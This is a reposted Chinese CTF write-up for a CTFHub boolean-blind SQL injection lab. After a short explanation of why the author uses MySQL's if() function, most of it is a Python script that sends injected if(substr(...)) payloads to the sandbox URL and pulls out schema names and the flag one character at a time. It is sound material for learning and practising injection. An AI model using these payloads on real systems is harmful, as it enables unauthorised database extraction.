ctfhub技能樹—sql注入—布爾盲注

本文轉載自查看原文 2020-03-13 11:27 1622 CTF

打開靶機

查看頁面信息

開始試驗，查看返回信息

此題存在一個問題，如果沒有數據，也是返回query_success

如此一來，就無法使用and組合進行注入，在看了其他大佬的解題過程后，知道了可以使用“if（）”進行注入

附上鏈接

https://blog.csdn.net/weixin_44732566/article/details/104455318

if(expr1,expr2,expr3)，如果expr1的值為true，則執行expr2語句，如果expr1的值為false，則執行expr3語句。

於是根據該文章提示，寫出如下腳本

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import sys
session=requests.session()
url = "http://challenge-2d36497ea5cb2b8c.sandbox.ctfhub.com:10080/?id="
name = ""

# for k in range(1,10):
#     for i in range(1,10):
#         print(i)
#         for j in range(31,128):
#             j = (128+31) -j
#             str_ascii=chr(j)
#             #數據庫名
#             #payolad = "if(substr(database(),%s,1) = '%s',1,(select table_name from information_schema.tables))"%(str(i),str(str_ascii))
#             #表名
#             #payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,i,str(str_ascii))
#             #字段名
#             payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str(str_ascii))
#             str_get = session.get(url=url + payolad).text
#             if "query_success" in str_get:
#                 if str_ascii=="+":
#                    sys.exit()
#                 else:
#                     name+=str_ascii
#                     break
#         print(name)

#查詢字段內容
for i in range(1,50):
    print(i)
    for j in range(31,128):
        j = (128+31) -j
        str_ascii=chr(j)
        payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str_ascii)
        str_get = session.get(url=url + payolad).text
        if "query_success" in str_get:
            if str_ascii == "+":
                sys.exit()
            else:
                name += str_ascii
                break
    print(name)